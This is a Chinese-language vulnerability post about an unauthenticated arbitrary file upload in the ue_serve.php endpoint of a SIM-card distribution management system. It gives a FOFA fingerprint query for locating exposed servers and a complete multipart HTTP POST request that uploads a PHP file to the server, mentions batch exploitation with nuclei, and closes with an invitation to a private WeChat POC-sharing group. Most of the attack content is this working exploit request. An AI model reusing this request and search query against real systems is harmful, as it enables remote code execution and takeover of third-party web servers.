0x01 产品简介

号卡极团分销 管理系统，同步对接多平台，同步订单信息，支持敢探号一键上架，首页多套U|+商品下单页多套模板，订单查询支持实时物流信息、支持代理商自定义域名、泛域名绑定，内置敢探号、172平台、号氪云平台第三方接口以及号卡网同系统对接.

0x02 漏洞概述

号卡极团分销管理系统 ue_serve.php 存在任意文件上传漏洞，未经身份攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

0x03 搜索语法

FOFA：icon_hash="-795291075"

0x04 漏洞复现

POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/2
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylkv1kpsZgzw2WC03
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
 
------WebKitFormBoundarylkv1kpsZgzw2WC03
Content-Disposition: form-data; name="name"
 
test.php
------WebKitFormBoundarylkv1kpsZgzw2WC03
Content-Disposition: form-data; name="upfile"; filename="test.php"
Content-Type: image/jpeg
 
<?php print(111*222);unlink(__FILE__);?>
------WebKitFormBoundarylkv1kpsZgzw2WC03--

0x05 工具批量

nuclei

POC获取

请使用VX扫一扫加入内部POC分享圈子